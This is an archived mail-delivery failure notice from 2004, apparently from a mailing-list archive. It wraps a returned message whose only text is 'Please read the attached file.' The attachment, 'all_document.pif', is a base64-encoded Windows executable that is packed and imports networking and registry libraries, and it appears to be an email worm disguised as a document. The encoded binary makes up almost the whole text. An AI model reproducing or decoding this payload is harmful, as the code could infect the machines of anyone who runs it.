MAILER-DAEMON@experian-ems.com Sat Jul 24 07:31:30 2004 From: MAILER-DAEMON@experian-ems.com (Mail Delivery Subsystem) Date: Sat, 24 Jul 2004 00:31:30 -0600 Subject: [blml] Returned mail: see transcript for details Message-ID: <200407240631.i6O6VUfd001154@mr11.experian-ems.com> This is a MIME-encapsulated message --i6O6VUfd001154.1090650690/mr11.experian-ems.com The original message was received at Sat, 24 Jul 2004 00:31:17 -0600 from 82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.5] ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- 554 5.0.0 MX list for bbc.reply.tm0.com. points back to mr11.experian-ems.com 554 5.3.5 Local configuration error --i6O6VUfd001154.1090650690/mr11.experian-ems.com Content-Type: message/delivery-status Reporting-MTA: dns; mr11.experian-ems.com Received-From-MTA: DNS; 82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk Arrival-Date: Sat, 24 Jul 2004 00:31:17 -0600 Final-Recipient: RFC822; panorama@bbc.reply.tm0.com Action: failed Status: 5.5.0 Remote-MTA: DNS; bbc.reply.tm0.com Last-Attempt-Date: Sat, 24 Jul 2004 00:31:30 -0600 --i6O6VUfd001154.1090650690/mr11.experian-ems.com Content-Type: message/rfc822 Received: from bbc.reply.tm0.com (82-33-171-5.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.5]) by mr11.experian-ems.com (8.12.9/8.12.9) with SMTP id i6O6VFfd001148 for ; Sat, 24 Jul 2004 00:31:17 -0600 Message-Id: <200407240631.i6O6VFfd001148@mr11.experian-ems.com> From: blml@rtflb.org To: panorama@bbc.reply.tm0.com Subject: Re: Approved Date: Sat, 24 Jul 2004 07:31:19 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0001_0000163F.00004EF8" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0001_0000163F.00004EF8 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0001_0000163F.00004EF8 Content-Type: application/octet-stream; name="all_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="all_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 